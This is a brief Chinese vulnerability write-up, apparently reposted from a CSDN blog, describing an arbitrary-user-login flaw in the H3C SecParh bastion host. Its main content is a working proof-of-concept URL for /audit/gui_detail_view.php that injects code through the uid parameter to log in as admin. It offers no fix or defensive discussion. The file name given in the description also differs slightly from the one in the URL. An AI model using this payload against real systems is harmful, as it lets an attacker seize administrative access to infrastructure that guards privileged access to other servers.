H3C SecParh堡垒机任意用户登录

漏洞描述：

H3C SecParh堡垒机 get_detail_view.php 存在任意用户登录漏洞

与齐治堡垒机出现的漏洞相似

漏洞复现：

POC：

/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin


  

 

  
1
  
2
 

文章来源: libai.blog.csdn.net，作者：李白你好，版权归原作者所有，如需转载，请联系作者。

原文链接：libai.blog.csdn.net/article/details/122209266